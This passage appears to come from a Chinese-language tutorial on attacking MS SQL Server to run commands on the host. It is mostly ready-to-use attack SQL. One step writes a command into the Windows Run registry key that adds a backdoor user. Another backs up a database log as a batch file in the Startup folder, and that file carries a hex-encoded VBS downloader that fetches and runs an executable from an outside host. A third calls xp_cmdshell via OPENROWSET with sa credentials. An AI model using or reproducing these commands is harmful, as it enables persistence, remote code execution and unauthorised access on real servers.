二、寫任意文件執行命令
利用xp_regwrite寫注冊表項,直接把要執行的命令寫入RUN啟動項。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MacHINE','SOFTWARE\Microsoft\Windows\currentversion\run','shell','REG_SZ','C:\Windows\system32\cmd.exe /c net user ray ray /add'
備份日志到啟動項
我們可以開啟一個數據庫的完全恢復模式,然後新建個表,插入要備份進日志的命令,最後把日志備份成批處理文件到用戶啟動文件夾,機器重新啟動後就會運行這個文件。
alter database msdb set RECOVERY FULL--
create table cmd (a image)--
backup log msdb to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)--
backup log ISTO to disk = 'C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\1.bat'--
drop table cmd--
三、任意權限用戶執行命令
在任意權限的服務器角色下,我們只要知道服務器的SYSADMIN角色的帳戶和密碼就能利用OPENROWSET宏執行命令
select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:\''')